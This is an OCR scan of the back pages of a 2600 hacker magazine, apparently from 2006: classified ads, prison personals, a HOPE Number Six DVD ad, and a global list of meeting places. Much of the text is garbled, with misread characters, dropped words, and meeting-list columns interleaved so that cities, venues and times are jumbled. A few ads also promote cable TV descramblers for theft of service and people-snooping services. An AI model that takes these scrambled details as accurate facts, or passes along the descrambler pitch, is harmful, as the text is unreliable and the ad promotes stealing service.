to your software through C++, VB6, al l  . Net languages, VBScript, 
JavaScript, and many others' Natively compatible With Microsoft I nternet 
Explorer and can work with Mozilla Firefox when used with a free plug- in 
See a free demonstration and purchasing information for Foxee at 
www.foxee .net 
J UST RELEASED! Feeling tired during those late night hacking ses­
sions? Need a boost? If you answered yes, then you need to reenergiLe 
with the total ly new �/ack Music Volume 1 CD. The CD IS crammed With 
high energy hock musIc to get you back on track. Order today by sending 
your name, address, city, state, and zip along with $ 1 5  to:  Doug Tatley 
1 234 Birchwood Drive, Monmouth, IL 6 1 462. This C D  was assembled 
solely for the readers of 2600 and is not available anywhere else l 

J ! NX-HACKER CLOTHING/GEAR. Tired of being naked? J I N X .com has 
300+ 1's,  sweatshirts, stickers. and hats for those rare t imes that you 
need to leave your house. We've got swag for everyone.  from the bud­
ding nOOblet to the vintage geek. So take a five minute break from surfing 
prOn rind r.hp.r.k Ollt http ://www ..  J l N X com. Uher-Secret-Sper:ii.lI-Megi.l 
Promo: Use "2600v3n02" and get 1 0'\, off of your order 
NET DETECTIVE. Whether you're just curious, trying to locate or f ind out 
about people for personal or business reasons,  or looking for 
pie you've fallen out of touch With, Net Detective it all 
Net Detective is used worldwide by investigators 
as well  as everyday people who use to find losl relatives. old high 
school and army buddies, deadbeat parents, lost loves. people that owe 
them money, and Just plain old snooping around.  Visit u s  today at 
www.netdetectiw' .org . u k  
JEAH.NET UNIX S H E L L S  S I N C E  1 999 - J E A H ' s  FreeBSO st1el l  ac-

Give one a 
you meet at a party. the SUllennar,et 

me··orroor.,ll1rnec telephone he/she will always be 
if you don't want to "d isclose" your telephone 

want sorneorl8 to be ;:tble to cal l  you locally or long distance 
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by telephone. Key ring/cl ip .  Limited quantity avai lable.  Money order on ly. 
$24.95 + $3.00 S/H . Mail order to: PHONE HOME,  Nimrod Division, 331 
N .  New Ballas Road, Box 4 1 0802, CRC, M issouri 631 4 1  
REAL W O R L D  HACKING: Interested i n  rooftops, steam tunnels,  and t h e  
l i k e ?  R e a d  t h e  al l-new Access Al l  Areas, a g u idebook to the a r t  of urban 
exploration,  from the author of Infiltration zine.  Send $20 postpaid i n  the 
U S  or Canada, or $25 overseas, to PO Box 13, Station E ,  Toronto, ON 
M6H 4 E 1 , Canada,  or  order onl ine at www. infi ltration.org.  
ENHANCE OR BUILD YOUR LIBRARY with any of the fol lowing C D  
ROMS: H a c k  Attacks Testing ,  Computer Forensics, Master Hacker, Web 
Spy 200 1 , Hackers' Handbook, Troubleshooting & Diagnostics 98,  PC 
Troubleshooter 2000, Forbidden Subjects 3 ,  Hackers Toolkit 2.0, Steal 
This CD,  Hacks & Cracks, Hackerz Kronicklez, E l ite Hackers Toolkit 1 ,  
Forbidden Knowledge 2 ,  Troubleshooting & Diagnostics 2002, Police Cal l  
Frequency Guide 2nd Edition , Computer Toybox, Answering Machine 
2000, Hackers Encyclopedia 3 .  Maximum Security 3rd Edit ion, Network 
Utilities 200 1 , Screensavers 2002, Engineering 2000, Anti-Hacker Toolkit 
2nd Edition & PC Hardware. Send name, address, city, state. zip, email  
address (for updates only) and items ordered, along with a cashier 's 
check or  money order in  the amount of $20 for each item to: Doug Talley, 
1 234 Birchwood Drive, Monmouth, I L  6 1 462. 
FREEDOM DOWNTIME ON DVD! Years i n  the making but we hope it 
was worth the wait. A double DVD set that Includes the two hour docu­
mentary, an i n-depth interview with KeVin Mitnick. and nearly three hours 
of extra scenes, lost footage. and miscellaneous stuff. Plus capt ioning for 
20 (that's right, 20) languages, commentary track, and a lot of things 
you' l l  just have to f ind for yourself l  ThR entire two disc set can be had by 
sending $30 to Freedom Downtime DVD, PO Box 752, Middle Is land,  N Y  
1 1 953 U S A  or by ordering from our o n l i n e  store at http://store . 2600.com 
(VHS copies of the f i lm sti l l  available for $ 1 5 . )  
CAP'N CRUNCH WHISTLES. Brand new, o n l y  a few left. THE O R I G I ­
N A L  WH ISTLE i n  m i n t  condition, never used. J o i n  t h e  elite few w h o  own 
thiS treasure!  Once they are gone. that is it - there are no more! Keychain 
hole for keyring .  Identify yourself at meetings, etc. as a 2600 rnember by 
dangl ing your keychain and saying noth ing .  Cover one hole and get ex­
actly 2600 hz, cover the other hole and get another frequency. Use both 
holes to call your dog or dolphin .  Also, ideal for telephone remote control 
devices. Price includes mai l ing.  $99.95. Not only a collector's item but a 
VERY U S E F U L  device to carry at all t imes. Cash or money order only. 
Mai l  to: WHISTLE. P. O.  Box 1 1 562-ST. CIt .  Missouri 63 1 05 
PHRAINE. The technology without the noise quarterly would l ike to thank 
Ihe 2600 readers who have also become new subscribers and encour-

those who have not ACK thel r need fOl" d iverse computer inform a­
i n  conjunction With that of 2600 to dedicate some packets and 

become a subscriber today! 
ViSit us at our new domain www.pearlyfreepress.col n/phraine.  
LEARN LOCK PICKING I t 's  EASY with our book and 'lew video.  The 
2nd edit ion book adds lots more interesting material and i l l ustrations 
whi le the video is f i l led with computer graphic views. Learn what 
they don't want you to know. Any secu rity system can beaten ,  rnany 
times right through the front door. Learn the secrets and weakness of ta-
day's locks. If you want to get where are not supposed to be. this 
book could be your answer world of lock pick-
Ing Send twenty bucks fOl" the or video Publ ications. 
PO Box 222GHQ, Champaig n ,  I L  G 1 825 or visit us  at 
www.standardpubl ications.com/dlrect/2600.html for your 2600 reader 
price discount 
CABLE TV DESCRAMBLERS. New. Each 
order/cash Works on analog em,I"",/rlirlitel 
m lum and pOSSibly PPV 
1 1 0vac power supply. Purchaser assumes 
cable 01  u:;;e of descrarnbler. Requires a TV convertel 
( i  e., Shack) to be used with the unit. Cable connects to the con-
verier, then the descrarnbler. then the output goes to TV set tuned to 
channel 3 CD 9621 Olive. Box 28992-TS. Olivettet Sur. Missouri 631 32 
Erni'lii cabledescrarnblerguy@yahoo.com 

Wanted 
HAVE KNOWLEDGE OF SECURITY BREACHES at your bank? Heard 
rumors of cracked customer databases? Know there are unaddressed 
vulnerabi l i t ies in a retai ler's credit card network. but its management 
doesn't know or care" We want your t ips.  We arc a business newsletter 

on secur ity Issues in the finanCial industry: IT  security. priv(1cy 
Ide1ltity-theft and fraud. money-Iaundenng 

rneets banks, we are there. You can remain 
not rumors circulated by one person or 

eVidence or corroboration from 
h"" k�roc';nt"" p";,(r" ""hnrrc'n'r or call 

mltsorukl (irJya hoo.com. 
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Services 
HACKER TOOLS TREASURE BOX! You get over 630 links to key re­
sources. plus our proven methods for rooting out the hard-ta-find tools, 
instantly! Use these links and methods to build your own customized 
hacker (AHEM,  network security) tool kit 
http://wealthfunnel .com/securilybook 

ADVANCED TECHNICAL SOLUTIONS. #422 · 1 755 Robson Street. 
Vancouver, B.C. Canada V6G 3B7. Ph: (604) 928-0555. Electronic coun­
termeasures - find out who is secretly videotaping you or bugging your 
car or office. "State of the Art" detection equipment ut i l ized 
FREERETIREDSTUFECOM - Donate or request free outdated tech 
products - in  exchange for some good karma - by keeping usable un­
wanted tech items out of your neighborhood landfi l l .  The FREE and easy 
text and photo classified ad website is designed to find local people in 
your area wi l l ing to pick up your u nwanted tech products or  anything else 
you have to donate. Thank you tor helping us spread the word about your 
new global recycl ing resource by distributing this ad to free classified ad­
vertising sites and newsgroups global ly. www. FreeRetiredStuff.com 
SUSPECTED OR ACCUSED OF A CYBERCRIME IN ANY CALIFOR­

N I A  OR FEDERAL COURT? Consult with a semantic warrior committed 
to the l i beration of information. I am an aggressive criminal defense 
lawyer specializing i n  the following types of cases: u nauthorized access 
theft of trade secrets, identity theft, and trademark and copyright infringe­
ment. Contact Omar Figueroa, Esq. at (415) 986-559 1 , at 
omar@ stanfordalumni .org, or at 506 Broadway, San Francisco, CA 
941 33-4507. Graduate of Yale College and Stanford Law School .  Com­
pl imentary case consultation for 2600 readers. Al l  consultations are 
strictly confidential and protected by the attorney-cl ient privi lege. 
INTELLIGENT HACKERS UNIX SHELL. Reverse.Net is owned and op­
erated by intel l igent hackers. We bel ieve every user has the right to on­
l ine security and privacy. I n  today's hosti le anti-hacker atmosphere, 
intell igent hackers requ i re the need for a secure place to work, compile,  
and explore without big-brother looking over their shoulder. Hosted at 
Chicago Equlnix with Juniper Fi ltered DoS Protection. M u lt iple FreeBSD 
servers at P4 2 .4  ghz. Affordable pr ic ing from $5/month with a money 
back guarantee. Lifetime 26'% discount for 2600 readers. Coupon code : 
Save2600. http://www. reverse.net 
ANTI·CENSORSHIP UNUX HOSTING. Kaleton Internet provides afford­
able web hosting,  email accounts, and domain registrations based on 
dual processor P4 2.4 GHz Linux servers. Our hosting plans start from 
only $8.95 per month. This includes support for Python, Perl ,  P H P, 
MySOL, and more. You can now choose between the USA, Singapore, 
and other offshore locations to avoid censorship and g uarantee free 
speech. We respect your privacy. Payment can be by E-Gold, PayPal,  
credit card, bank transfer, or Western Union. See www. kaleton .com for 
details. 
ARE YOU TIRED of receiving pi les of credit card offers and other postal 
spam? You can't just throw them in  the trash or recycle them as someone 
could get a hold of them and use them to steal your identity. You can't 
just let them pile up on your kitchen table. So Instead you have to be 
bothered with shredding and disposing of them. Well, not anymore. 
OperationMai lBack.com has a free solution for you. Al l  costs of d isposal 
including del ivery will be paid by the company responsible for sending 
the stuff to you. Stop wasting your valuable t ime deal ing with messes 
other people are responsible for creat ing.  Check out our newly re­
designed website for complete information and take back your mailbox. 
BEEN ARRESTED FOR A COM PUTER OR TECHNOLOGY RELATED 

CRIME? Have an idea, invention, or  business you want to buy, sell, pro­
tect, or  exploit? Wish your attorney actually understood you when you 
speak? The Law Office of Michael B .  Green, Esq. is  the solution to your 
2 1  st century legal problems. Former SysOp and member of many private 
BBS's since 1 98 1  now available to d i rectly represent you or bndge the 
communications gap and assist your cu rrenl legal counse l .  Extremely de­
tai led knowledge regard ing criminal and civi l  l iabi lity for computer and 
technology related actions ( 1 8  U . S . C .  1 028,  1 029, 1 030, 1 03 1 , 1 34 1 , 
1 342, 1 343, 251 1 , 2 5 1 2 ,  ECPA. D M C A ,  1 996 Telecom Act. etc . ) ,  domain 
name disputes, intel lectual property matters such as copyrights, trade­
marks, licenses, and acquisitions as well  as general business and corpo­
rate law. Over ten years experience as in-house legal counsel to a 
computer consulting business as wel l  as an over 20 year background in 
computer, telecommunications, and technology matters. Publ ished law 
review articles, contributed to nationally publ ished books, and submitted 
briefs to the Un ited States Supreme Court on Internet and technology re­
lated issues. Admitted to the U . S .  Supreme Court,  2nd Circuit Court ot 
Appeals, and a l l  New York State courts. Many attorneys will take your 
case without any consideration of our  culture and will see you merely as 
a sou rce of fees or worse, with i l l-conceived prejudices. My office u nder­
stands our culture, is sympathetic to your situation, and Wil l  treat you With 
the respect and understanding you deserve. No fee for the initial and 
confidential consu ltation and, i f  for any reason we cannot help you, we 
Wi l l  evert try to find someone else WllO can at no charge.  So you have 
noth ing to lose and perhaps everything to gain by contacting us first. Visit 
us at: hUp:!!www.computorney.com or cal l  51 6-993-4357 

Announcements 
OFF THE HOOK I S  the weekly one hour hacker radio show 
Wednesday nights at 7:00 pm ET on WBAI 99,5 FM in  New City. 
You can also tune In over the net a\ www.2600 com/of1thehook or 011 
shortwave in Nortrl and South America at 741 5 khz. Archives of al l  shows 
dating back to 1 988 can be found at the 2600 site, now In mp3 formatl 
Shows from 1 988-2005 are now available in DVD-R format for $301 Or 
subscribe to the new high qual ity audio service Each month 
you'l l get a newly released year of "Off The Hook" in  quality 
(far better than previous onl ine Send check or money order to 
2600, PO Box 752, Middle Island, USA 01' order through our 

onl ine store at http://store .2600.com. Your feedback on the program is  
a lways welcome at oth@2600.com 
PHONE PHUN.  http://phonephun.us .  Blog devoted to interesting phone 
n u m bers. Share your finds! 
DO YOU WANT ANOTHER PRINTED MAGAZINE that complements 
2600 with even more hacking informatIon? Binary Revolution is a maga­
z ine from the Digital Dawg Pound about hacking and technology. SpeCifi­
c ally, we look at underground topics of technology including : Hacking ,  
Phreaking, Security, U rban Exploration, Digital R ights ,  and more .  For 
more information,  or  to order your printed copy onl ine,  visit us at 
h ttp ://www.binrev.com/ where you wi l l  also find instructions on mail or­
d ers. Welcome to the revolut ion!  
CHRISTIAN HACKERS' ASSOCIATION:  Check out the web page 
h ttpJ/www.chrislianhacker.org for detai ls .  We exist to promote a commu­
n ity for Christian hackers to discuss and i mpact the realm where faith and 
technology intersect for the purpose of seeing lives changed by God 's 
9 race through faith in Jesus. 
I-HACKED. COM. Taking advantage of technology by hacking today's 
e lectronics and systems to better our  l ives. E lectroniCS are everywhere, 
and technology d rives pretty much everything we do in  today's world. We 
s how you how to take advantage of these electronics to make them 
faster, give them added features, or to do things they were never 
intended to do. 

Personals 
PRISONER SEEKS FRIENDS to help with book review lookups on Ama­
z on by keywords. Com Sci major,  th irsty to catch u p  to the real world be­
fore my reentry. I have my own funds to buy books. I only need reviews. 
Or ... I 'm M U D/MMORPG savy in  C++/PythonfPH P/MySOL, and I 'm seek­
ing players and programmers for better idea on "what's out there." 
Please help.  Ken Roberts J60962, CSTAF-A2-244 UP, PO Box 5248, 
Corcoran, CA 932 1 2 
OFFLINE OUTLAW IN TEXAS is  looking for any books Unix/Linux I can 
get my hands on. Also very interested In privacy in all areas. If you can 
point me in  the right d i rection or feel l ike teach ing an old dog some new 
tricks, drop me a line. I ' l l  answer a l l  letters. Props to those who already 
h ave, you know who you are . William Lindley 822934, 1 300 FM 655, 
Rosharon, TX 77583-8604 
I N  SEARCH OF NEW CONTACTS every day. I have a lot of t ime to pass 
and am always up for a good discussion. Joint source audit anyone? Of 
course it' l l  have to be on paper. Interests not l imited to: low-level OS cod­
ing, embedded systems, crypto, radiotelecom, and conspi racy theory. 
Will reply to all. Brian Salcedo #321 30-039, FCI McKean, PO. Box 8000, 
Bradford, PA 1 6701 . 
STILL IN THE JOINT. Only a year or so left. Known as Alphabits, busted 
for hacking banks and lots of u nauthorized wire transfers. I 'm looking to 
hear from anyone in the free world. Very interested In  any Ideas regard­
ing future employment. Will respond to all. Jeremy Cushing tlJ51 1 30, 
Centinela State Prison, PO Box 921 , Imperial ,  CA 92251 -0921 
CONVICTED COMPUTER CRIMINAL in  federal prison doing research 
on Asperger Syndrome prevalence in  prison. 
Please write : Paul Cuni  1 528l-U 1 4 ,  Box 700 1 ,  Taft, CA 9:3268 
STORMBRINGER'S 41 1 :  Am not getting a fair shake in  court without an 
attorney, so it's 15 more years to pu l l .  Need a coder for a web G U I  for a 
shortwave/scanner ( Icom PCR-1  000) that I donated to a shortwave sta­
tion and some other interesting stuff. Would love to talk shop with people 
on radio, data over radio, and ham radiO .  Will respond to all letters tech­
n ical or not. W.K. Smith, 44684-083, FCI Cumberland , PO Box 1 000, 
Cumberland, M D  2 1 50 1 - 1 000. Web: www.stormbringer.tv. Link to it l 
SYSTEM X HERE!  I'm sti l l  incarcerated in  Indiana Dept. of Corrections 
for at least 8 months and don't get many chances to stimulate my mind.  I 
do sometimes get ahold of books but that requires knowing the title, 
ISBN#, and author. Any help would be great! I am sti l l  looking for ANY 
hacker/computer related information such as tutorials,  mags, zines, 
newsletters, or  friends to discuss anything l  j 'm also looking for info on 
any security holes in the Novell  Network cl ient. Al l  leiters wi l l  be replied to 
no matter what! I'm also looking for autographs in hacker or real name for 
a col lection I have started if anyone finds the time. DOM I need you to 
write again because the return address was removed from your enve­
lope. Al l  Info and contributions greatly appreciated. Joshua Steelsmith 
11 1 1 3667, MCF-IDOC, P O .  Box 900, Bunker H i l I .  I N  469 1 4 .  
I N  SEARCH OF FRIEN DS/CONTACTS: Federal ly incarcerated W M ,  
brown eyes/hair, 6'00", 2 0 0  I b s . ,  26 years o l d  (for t h e  ladies - please send 
photos, wi l l  do same),  been in prison nearly 7 years with a couple more 
to go. Interested in  real world hacking not l imited to rooftops, (un)aban­
doned buildings, ilaving FUN With safes, locks, payphones, and anyttling 
novice-level from 2600.Am looking for addresses of other hacker mags 
and underground,  b-rate, independent movie mags l ike Fangor/a. Please 
send mags, addresses, information, letters, and photos. Will respond to 
a l l .  Mycology, anyone? Let's talk!  I love photos! Mail to:  Henry French 
#44552-083, PO Box 10 (E lkton FCI), Lisbon, OH 44432 

ONLY SUBSCRIBERS CAN ADVERTISE I N  2600! Don't even think 
aboul trying to lake out an ad u n less you subscribe! Al l  ads are free and 
there IS no amount of money we wi l l  accept for a non-subscriber ad, We 
hope that's clear. Of course, we reserve the right to pass Judgment on 
your 8d and not print it if it's amazingly stupid or has noth ing at ai l  to do 
with the hacker world , We make no guarantee as to the honesty, nglll­
eousness, sRnity, etc. of the people advertising here. Contact them at 
your peri l .  All submissions are for ONE ISSUE ONLY !  If you want to run 
your ad more than once you must resubmit it each t ime.  Don't expect us 
to run more than one ad for you i n  a single Issue either.  Include 
d ress l<lbel/envelope or a photocopy so we know 
Send your ad to 2600 Marketplace, PO Box 99, 
Deadline for Winter issue: 1 2/1 /06. 
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HOPE NUMBER SIX 
This  i s  N OT a n  a d  fo r H O PE N u m ber  S ix .  It' s ove r. Yo u eith er  were pa rt of  

t h e  coo Lest h a cker  gath e ri n g  th is  s u m m e r  o r  you weren 't. It' s  a s  si m p Le as  
th at. Yo u k n ow w h at we' re ta Lki n g  a b o ut. U n Less you rea L Ly were n 't t h e re in  
wh ich  ca se t h e re 's  n o  way yo u CO U LD kn ow, i s  t h e re? 

B ut wait. We j ust t h o u g h t  of s o m ethi n g .  

I n  reco rd ti m e ,  w e  h ave co me u p  with a video a rchive of the  enti re conferen ce!  A n d  fo r the  
fi rst ti me ,  we' re offeri n g  the  a rchive i n  DVD  ( region  free) fo rmat. So if you missed out o n  the  con­
fere n ce ,  th i s  i s  o n e  way  to  m a ke u p  fo r i t .  In fact, even if you  were there ,  th ere's n o  way  you cou ld 
h ave made  it to a ll the  ta lks . Th ere's somethi n g  h e re fo r everyo n e .  

B ut here's the  p ro b le m .  With over 70  D V D s ,  p l u s  a h igh  fide lity a udio-o n ly D V D  contai n i ng  a ll 
of the  talks on a si n g le disc,  we j ust d o n 't h ave enough  roo m  to li st them on this  si n g le page .  We 
wanted a fou r  page s p read but the powers that be wou ld n 't have it. Peo p le want a rti cles, n ot ad­
verti si n g ,  they say. As if a well-worded ad  ca n 't convey as  m uch i nfo rmati o n  as  o n e  of their  red 
box a rticles ! It's q uite typica l rea lly of the  anti-a dverti si n g  attitude we have to dea l wit h .  So h e re 
we a re .  A si n g le page .  Way i n  the  back .  N ot e n o u g h  space.  

So we suggest loo ki n g  o n li n e  fo r the  fu ll li st - http ://sto re . 2 600.com/hopen u m bersix . html  
ought  to  work .  I f  you d o n 't want  to  pay  o n li n e ,  you ca n a lways go  the  o ld-fash ioned route a n d  
ma i l  us  a c h e c k  o r  m o n ey o rder  whi le i n di cati n g  which DVD(s )  y o u  want.  And  if y o u  d o n 't even 
have Internet a ccess but you know you want to buy everythi n g  (we rea lly a d m i re peo p le li ke yo u ) ,  
rath er  t h a n  c h a rge y o u  the  n o r m a l  $ 10 a pi ece rate which  wou ld a m o u nt t o  over $ 7 0 0 ,  we' l l  let 
the  enti re co llecti o n  go fo r $400. It m ay sound  li ke a lot (actua lly it IS a lot) but there is a ton of 
m ateri a l  here. We a lso  ca n ma i l  you an order fo rm which li sts a ll of the ta lks if you want to pick 
and ch oose offli n e . J ust m ai l  us  and ask .  

That 's  n ot a ll . As i s  usua lly the  case, we h ave some left­
over offi cia l  H O PE N u m ber  Six sh i rts a n d  oth e r  conferen ce 
items  that we' l l  be offeri n g  whi le s u p p lies last. J ust i n di cate 
what sh i rt size you a re a n d  we wi ll  ma i l  it ri g h t  out. Fo r $20  
you get  n ot o n ly the  s h i rt but a conferen ce badge with a 
un ique  identifi er  n u m ber, a confere n ce progra m ,  a n d  a 
sticker fo r you r  co m p uter o r  other a p p ro p ri ate su rface.  With 
a little th era py, you wi ll  one day be a b le to convi n ce yourself 
that you were a ctua lly there .  ( U n less you rea lly WERE  there ,  
i n  which  case  the  therapy ca n be used  to h e lp adj u st you r  
expectati o n s  downwa rd after retu rni n g  t o  the  rea l world . )  

Overseas a dd  $5  sh i ppi n g  fo r the  sh i rt, $ 5 2 . 50 i f  you ' re o rderi n g  a ll o f  the  DVDs ( People 
who o rder a fu ll set wi ll a lso get a free s h i rt package . )  
Ou r  address : 
2600 PO Box 7 5 2  
M i d d le I s la n d ,  N Y  1 1 9 5 3  U SA 
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ARGENTINA 
Buenos Aires: I n  the bar at San Jose 
05. 

AUSTRALIA 
Adelaide: At the payphones near the 
Academy C i nema on Pulteney 8t. 
8 pm. 
Brisbane: Hungry Jacks on the Queen 
St. Mall  ( R H S ,  opposite I nfo Booth). 
7 pm .  
Melbourne: Caffeine at ReVault Bar, 
16 Swanston Walk, near Melboume 

Central Shopping Centre. 6:30 pm.  
Pert h :  The Merchant Tea and Coffee 
House, 1 83 M u rray 8t. 6 pm.  
Sydney:  The Crystal Palace ,  front 
bar/bistro, opposite the bus station 
area on George 51. at Central Station. 
6 pm. 

AUSTRIA 
Graz: Cafe Haltestel le on Jakom in i -
platz. 

BRAZIL 
Belo Horizonte: Pelego's Bar at As­
sufeng,  near the payphone. 6 pm 

CANADA 
Alberta 

Calgary : Eau Claire Market food court 
by the bland yellow waiL 6 pm. 

British Columbia 
Vancouver: Pacif ic Centre Mal l  Food 
Court. 
Victoria:  QV Bakery and Cafe, 1 70 1  
Government SI. 

Ma nitoba 

FRANCE 
Grenoble: Eve, campus of St .  Martin 
d 'Heres. 
Paris: Place de la Republ ique, near 
the (empty) fountain .  6 pm. 
Rennes: In  front of the store "Blue 
Box" close to Place de la Republ ique. 
7 pm. 

G R E ECE 
Athens: Outside the bookstore Pa­
paswtiriou on the corner of Patision 
and Stournari.  7 pm. 

IRELAND 
Dubl in :  At the phone booths on Wick­
low St. beside Tower Records. 7 pm. 

ITALY 
M i l a n :  Piazza Loreto in front of 
McDonalds. 

JAPAN 
Tokyo: Linux Cafe i n  Akihabara dis­
trict. 6 pm .  

N E W  ZEALAND 
Auckland: London Bar, upstairs, 
Wellesley St . ,  Auckland Central. 
5 :30 pm. 

Ch ristchurch:  Java Cafe, corner of 
High St. and Manchester St. 6 p m .  
Wel l ington: Load Cafe in Cuba M a l l .  
6 pm .  

NORWAY 
Oslo: Oslo Sentral Train Station.  7 pm.  
Tromsoe: The upper  f loor  at Blaa 
Rock Cafe, Strandgata 1 4. 6 pm. 
Trondheim:  Rick's Cafe in  Nor­
dregate. 6 pm 

PERU Winnipeg: St. Vita l  Shopping Centre, 
food court by H MV. Lima:  Barbi lonia (ex Apu Bar),  en AI-

New Bru nswick canfores 455,  M i raflores. at the end of 

Moncto n :  Ground Ze ro Networks In- Tarata St. 8 P�
COTLAN D  ternet Cafe, 7200�:��

i
!t . 7 pm.  

Glasgow: Central Station ,  payphones 

B . WII ' C  ff P b 505 next to Platform 1 .  7 pm. 
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0 ee u , 
SOUTH AFRICA

. 
Guelp h :  Wilham's Coffee Pub,  492 Ed- Johannesburg (Sa ndtan City): Sand-

Inbourgh Road South. 7 pm. ton food court. ���6;N Ottawa: World Exchange Plaza, 1 1 1  
Albert S1 . ,  second floor. 6 :30 pm.  
Toronto: Future Bakery, 483 B loor  SI .  
West 
Waterloo: Wi l l iam's Coffee Pub, 1 70 
U niversity Ave. West. 7 pm.  
Windsor: U n iversity of Wi ndsor, CAW 
Student Center commons area by the 
large window. 7 p m .  

Quebec 
Montreal :  Bel l  Amphitheatre, 1 000, 
rue de la Gauchetiere. 

CHINA 

Gothenburg: 2nd f loor  i n  Burger  King 
at Avenyn.  6 pm.  
Stockholm:  Outside Lava. 

SWITZERLAND 
lausanne: I n  front of the MacDo be-
side the train stat ion.  

UNITED STATES 
Alabama 

Auburn : The student lounge upstairs 
in  the Foy Union Building. 7 pm 
H u ntsvi l le:  Madison Square Mal l  i n  
the food court n e a r  McDonald's. 
Tuscaloosa : McFarland Mal l  food 

Hong Kong : Pacific Coffee in  Festival court near the front entrance. 
Walk, Kowloon Tong. 7 pm. Arizona 

CZECH REPUBLIC Phoen i x :  Counter  Culture Cafe,  2330 
Prague:  Legenda pub. 6 pm E McDowell Rd.  

DENMARK Tucson: Borders i n  the Park Mal l .  7 
pm.  

Cal ifornia 

District of Columbia 
Arlington: Pentagon City Mal l  i n  the 
food court ( near Au Bon Pain). 6 pm. 

Florida 

New York 
New York:  Citigroup Center, in  the 
lobby, near the payphones, 1 53 E 53rd 
St., between Lexington & 3rd. 

Ft. Lauderdale: Broward Mall in  the North Carolina 
food court. 6 pm. Charlotte: SOuth Park Mall  food court. ��:��7!�i���� �:n:a��i�� tf:�::�� 7 pm. 

6 p m .  Raleigh: Royal Bean coffee shop on 

Orlando: Fashion Square Mall Food Hi l lsbOro Street (next to the Playmak-
Court between Hovan Gourmet and ers Sports Bar and across from Mered-
Manchu Wok. 6 pm. ith College).  
Tampa:  U n iversity Mal l  in  the back of North Dakota 
the food court on the 2nd floor. 6 pm. Fargo : West Acres Mall food court by 

Georgia the Taco John's .  
Atlanta:  Lenox Mal l  food court .  7 pm.  

Idaho 
Boise:  BSU Student  Union Bui ld ing,  
upstairs from the main entrance. Pay­
phones: (208) 342-9700, 970 1 .  
Pocatel lo:  College Market, 604 South 
8th S1. 

I l l i nois 
Chicago: Neigh borhood Boys and 
Gir ls Club, 2501 W. I rving Park Rd. 
7 pm. 

Indiana 
Evansvi l le :  Barnes and Noble cafe at 
624 S Green River Rd. 
Ft. Wayne:  Glenbrook Mal l  food court 
in  front of Sbarro's. 6 p m .  
Indianapolis:  Corner Coffee, S W  
corner o f  1 1  th a n d  Alabama. 
South Bend (M ishawaka): Barnes 
and Noble cafe, 4601 Grape Rd. 

Iowa 
Ames: Memorial Union BUilding food 
court at the Iowa State U niversity. 

Kansas 
Kansas City (Overland Park): Oak 
Park Mal l  food court. 
Wichita : Riverside Perk, 1 1 44 Bitting 
Ave. 

louisiana 
Baton Rouge: I n  the LSU Union Build­
ing ,  between the Tiger Pause & Mc­
Donald's. 6 pm. 
New Orleans: Z'otz Coffee House up­
town at 8 2 1 0  Oak Street. 6 pm. 

Maine 
Portla n d :  Maine Mall  by the bench at 
the food court door.  

Maryland 
Baltimore: Barnes & Noble cafe at the 
Inner Harbor. 

Massachusetts 

Ohio 
Cincinnati :  The Brew House, 1 047 
East McMi l lan.  7 pm. 
Clevelan d :  U niversity Circle Arabica, 
1 1 300 J u n iper R d .  Upstairs, turn r ight,  
second room on left. 
Columbus: Convention center on 
street level around the corner from the 
food court. 
Dayto n :  TGI  Friday's off 725 by the 
Dayton Mall .  

Oklahoma 
Oklahoma City: Cafe Bel la,  southeast 
corner of SW 89th SI. and Penn.  
Tu lsa:  Promenade Mal l  food court. 

Oregon 
Portland:  Backspace Cafe, 1 1 5  NW 
5th Ave. 6 pm. 

Pennsylvania 
Allentown : Panera Bread, 3 1 00 West 
Ti lghman St. 6 pm. 
Philadelphia: 30th SI. Station, south­
east food court near mini post off ice.  

South Carolina 
Charlesto n :  Northwoods Mall  i n  the 
hal l  between Sears and Chik-Fi l -A.  

South Dakota 
Sioux Fal ls:  Empire Mall, by Burger 
King. 

Tennessee 
Knoxvil le:  Borders Books Cafe across 
from Westown Mal l .  
Memphis:  Atlanta Bread Co. ,  4770 
Poplar Ave. 6 pm. 
Nashvil le:  J-J's Market, 1 9 1 2  Broad­
way. 6 pm. 

Texas 
Aust i n :  Dobie Mall food court, 2025 

!�:t���P:����;��������:�::�'
t�e;- G uadalupe SI. 

windows. 6 pm.  Houston : N i�fa's Express in  front of  

Marlborou g h :  Solomon Park Mal l  food Nordstrom's In  the Galleria Mal l .  

court. San Anton io:  North Star Mal l  food 
Michigan 

Ann Arbor: The Galleria on South 
U n iversity 

M i nnesota 

court. 6 pm. 
Utah 

Salt lake City: ZCMI Mal l  in The Park 
Food Court. 

Aalborg : Fast Eddie's pool hal l .  
Aarh us:  I n  the far corner of the DSB 
cafe in the rai lway station. 
Copen hagen : Cafe Blasen. 
Sonderborg: Cafe Druen. 7:30 pm. 

EGYPT 

Los Angeles: Union Station,  corner of Bloomingto n :  Mal l  of America, north 
Macy & Alameda. Inside main entrance si

.
de food court, across from Burger 

by bank of phones. Payphones : (21 3) King & the bank of payphones that 
972-9 5 1 9 , 9520 ; 625-9923 . 9924 ; 6 1 3- don't take incoming calls . 

Vermont 
Burl ington: Borders Books at Church 
S1. and Cherry SI. on the second f loor 
of the cafe. 

Port Said: At the foot of the Obelisk 
( E I  Mlssal lah) 

ENGLAND 
Brighto n :  At the phone boxes by the 
Seal ife Centre (across the road from 
the Pal ace Pier). 7 pm. Payphone: 
(01 273) 606674 
Exeter: At the payphones, Bedford 
Square. 7 pm.  
london : Trocadero Shopping Center 
(near Piccadi l ly  Circus), lowest level 
6 : 30 pm. 
Manchester: The Green Room on 
Whitworth St. 7 pm 
Norwich : Borders entrance to 
Chapelf leld Mal l .  6 p m .  
Read i n g :  Afro B a r ,  Merchants Place, 
off Friar S1. 6 pm. 

FINLAND 
Helsinki :  Fenn iakortteli food court 
(Vuorikatu 1 4) .  

9704, 9746. Missouri 
Monterey : London Bridge Pub, 2 Kansas City ( I ndependence) : Barnes 
Wharf I I .  & Noble, 1 9 1 20 East 39th S1. 
Orange County ( Lake Forest): 
Diedrich Coffee, 22621 Lake Forest 
Drive. 8 pm.  
Sacramento: Round Table P izza at  
1 27 K St. 
San Diego: Regents Pizza, 4 1 50 Re­
gents Park Row # 1 70 

St. louis:  Gal leria Food Court. 
Springfield: Borders Books and Music 
coffeeshop, 3300 South Glenstone 
Ave . ,  one block south of Battlefield 
Mall. 5:30 pm 

Nebraska 
Omaha:  Crossroads Mal l  Food Court. 
7 pm .  

Nevada 

Virginia 
Arlington : (see District of Columbia)  
Virginia Beach:  Lynnhaven Mal l  on 
Lynnhaven Parkway. 6 pm 

Washi ngton 
Seattle: Washington State Convention 
Center. 2nd leve l ,  south side. 6 pm. 

Wisconsin 
